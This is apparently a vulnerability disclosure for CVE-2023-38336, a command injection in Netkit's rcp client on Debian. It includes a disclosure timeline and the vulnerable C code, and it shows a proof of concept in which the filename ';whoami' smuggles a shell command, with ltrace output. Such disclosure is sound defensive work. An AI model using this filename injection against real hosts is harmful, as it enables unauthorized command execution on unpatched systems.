TL;DR; Netkit-rcp is vulnerable to a command injection in filenames used as copy arguments.
Timeline
- 19/06/2023: Debian security team contacted
- 27/06/2023: Debian security team informed there was no upstream maintainer and advised opening a bug in Debian bug tracking system (BTS)
- 28/06/2023: Bug reported to Debian BTS
- 14/07/2023: CVE-2023-38336 assigned
- 18/07/2023: current article publication
RSH and Netkit-rsh
RSH, standing for “remote shell” is an old communication protocol and the ancestor of SSH. A big difference is that RSH is obsolete because communications are unencrypted, making it a risky way of executing remote shell commands.
Netkit-rsh is an implementation of the protocol and there is no current upstream of the project AFAIK. It is shipped on debian as the rsh-client
package (Debian – Details of package rsh-client in bookworm)
As for scp
for SSH, RSH implementations usually have a rcp
binary, allowing remote file copy.
The issue
A command injection exists in Netkit’s rcp
implementation as the arguments to the command are fed without validation to a subshell. The faulty code is located in susystem()
in rcp/rcp.c
:
412 static int
413 susystem(const char *s)
414 {
415 int status, pid, w;
416 sighandler istat, qstat;
417
418 if ((pid = vfork()) == 0) {
419 const char *args[4];
420 const char **argsfoo;
421 char **argsbar;
422 if (setuid(userid)) {
423 fprintf(stderr, "rcp: child: setuid: %s\n",
424 strerror(errno));
425 _exit(1);
426 }
427 args[0] = "sh";
428 args[1] = "-c";
429 args[2] = s;
430 args[3] = NULL;
431 /* Defeat C type system to permit passing char ** to execve */
432 argsfoo = args;
433 memcpy(&argsbar, &argsfoo, sizeof(argsfoo));
434 execve(_PATH_BSHELL, argsbar, saved_environ);
435 _exit(127);
436 }
Note that /usr/bin/netkit-rcp
is a root SUID binary on Debian but that the
above code drop privileges before executing the command, preventing privilege escalation (l. 422).
The above results in arguments of the file copies (i-e. filenames) to be added “as-is” to the sh -c
command. One can thus forge a filename to execute its own commands:
$ ltrace /usr/bin/netkit-rcp "test" ";whoami"
getopt(3, 0x7ffd134ccc38, "dfprt") = -1
getservbyname("shell", "tcp") = 0x7f1846a37dc0
getuid() = 1000
getpwuid(1000, 0x7f18469f62ff, 0, 0x7f18469322f7) = 0x7f1846a36a00
snprintf("rcp", 64, "rcp%s%s%s", "", "", "") = 3
signal(SIGPIPE, 0x55c473e09bbc) = 0
strlen("test") = 4
strlen(";whoami") = 7
malloc(38) = 0x55c47528fed0
snprintf("/bin/cp test ;whoami", 38, "%s%s%s %s %s", "/bin/cp", "", "", "test", ";whoami") = 20
vfork(0x55c47528fed0, 0x55c473e0b14f, 0, 1) = 0x3967b2
signal(SIGINT, 0x1) = 0
signal(SIGQUIT, 0x1) = 0
wait(0x7ffd134cca40/bin/cp: missing destination file operand after 'test'
Try '/bin/cp --help' for more information.
kali <== "whoami" result
<no return ...>
--- SIGCHLD (Child exited) ---
<... wait resumed> ) = 3762098
signal(SIGINT, 0) = 0x1
signal(SIGQUIT, 0) = 0x1
free(0x55c47528fed0) = <void>
exit(0 <no return ...>
+++ exited (status 0) +++
If an attacker can control filenames, he can execute commands on either the local or remote machine where the copy takes place.
Conclusion
There is currently no patch for this issue. If you are running RSH on your systems, consider upgrading to SSH.